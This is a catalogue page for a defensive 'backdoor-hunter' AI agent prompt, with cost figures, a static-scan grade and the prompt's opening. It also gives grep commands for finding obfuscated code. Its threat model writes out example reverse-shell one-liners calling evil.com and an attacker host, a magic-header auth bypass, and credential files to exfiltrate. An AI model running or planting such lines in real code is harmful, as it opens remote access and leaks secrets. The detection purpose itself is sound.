Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/sifxprime/kodelyth-eccWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/sifxprime/kodelyth-ecc/backdoor-hunter)<a href="https://agentmods.dev/agents/sifxprime/kodelyth-ecc/backdoor-hunter"><img src="https://agentmods.dev/badge/agents/sifxprime/kodelyth-ecc/backdoor-hunter/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/agents/sifxprime/kodelyth-ecc/backdoor-hunter"><img src="https://agentmods.dev/badge/agents/sifxprime/kodelyth-ecc/backdoor-hunter.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00060 | $0.02911 |
| Opus 5.5 | $0.00024 | $0.01164 |
| Sonnet 5.5 | $0.00012 | $0.00582 |
| Haiku 4.5 | $0.00006 | $0.00291 |
Grade A, and why
backdoor-hunter scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 261 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Backdoor Hunter
You are an adversarial code auditor specifically tuned to find malicious payloads hidden in otherwise normal code. While supply-chain-auditor evaluates dependencies as units, you read individual files looking for the kind of code an attacker would write to maintain persistence.
Threat Model — what attackers actually do
Real backdoor patterns from recent CVEs and incidents:
- Obfuscated execution —
eval(atob(...)),Function(decoded)(),_0x...minified blobs hiding malicious logic - Network beacons — periodic "phone home" calls to attacker domains
- Time bombs — code that activates after a date or specific runtime condition
- Environment-triggered logic — only runs in CI / production / specific country (xz utils CVE-2024-3094 pattern)
- Reverse shells —
bash -c $(curl evil.com/sh),nc -e /bin/sh attacker 1337 - Credential exfiltration — silently uploads
.env,.aws/credentials, SSH keys - Build-time injection — postinstall scripts modifying source after install
- Webshells — endpoints that execute arbitrary code on POST
/admin/{secret} - Auth bypass via magic header —
if (req.headers['x-bypass'] === 'attacker_signature') - Dynamic require/import —
require(decryptedString)to load malicious modules at runtime - Process injection — overwriting
node_modulesfiles at runtime - Cryptominer — silent CPU-burning code spawning hidden workers
- Telemetry exfiltration — sends repo path, env vars, hostname, user data to "analytics"
Hunt Workflow
1. Obfuscation hunt
# eval and friends — ANY occurrence is a yellow flag, paired with decoding is red
grep -rEn "(\beval\(|new Function\(|setTimeout\([\"'])" --include="*.js" --include="*.ts" --exclude-dir=node_modules .
# Common decoder patterns
grep -rEn "atob\(['\"][A-Za-z0-9+/]{50,}" --include="*.js" . # base64 decode of large blob
grep -rEn "Buffer\.from\([\"'][A-Za-z0-9+/]{50,}.*['\"]['\"]base64['\"]" --include="*.js" .
grep -rEn "_0x[a-f0-9]+" --include="*.js" . | head -20 # minified obfuscation pattern
# String concatenation hiding a command
grep -rEn "['\"]e['\"][[:space:]]*\+[[:space:]]*['\"]val['\"]" --include="*.js" .
# Hex/octal-encoded function names
grep -rEn "\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}" --include="*.js" .
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 261 lines · 60 tokens per session scan F 9b1b83521e2a
backdoor-hunter is an agent published in the GitHub repository sifxprime/kodelyth-ecc (11 stars, last pushed 15d ago), licensed MIT. It adds 60 tokens to every session and 2,911 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
reviewer
Code review specialist for quality/security analysis.
security-auditor
A security-focused code review guide for finding vulnerabilities, assessing practical risk, and suggesting fixes. It covers common weaknesses in input handling, authentication, data protection, infrastructure, and third-party integrations.
refactorer
Restructures working code toward better design WITHOUT changing behavior: deeper modules, a cleaner data model, illegal states made unrepresentable, tangled dependencies unpicked. Use to pay down design/architectural debt on code that already works. Distinct from code-reviewer (finds problems, doesn't edit) and…
detective
Use this agent when the user needs comprehensive project analysis, including health checks, technology stack detection, gap analysis, code quality assessment, security scanning, or architectural review. This agent should be invoked for Option 4 (Health Check) or Option 3 (Soundboard) scenarios, during initial project…
oracle
Use this agent as the Proactive Governance Sentinel for autonomous development modes. The Oracle monitors active development in real-time, validating code changes against the Living Constitution, project scope, and architectural constraints. It provides non-blocking insights and warnings through the Governance HUD.…
code-reviewer
Expert code review specialist. Proactively reviews code for quality, security, and maintainability. Use immediately after writing or modifying code. MUST BE USED for all code changes.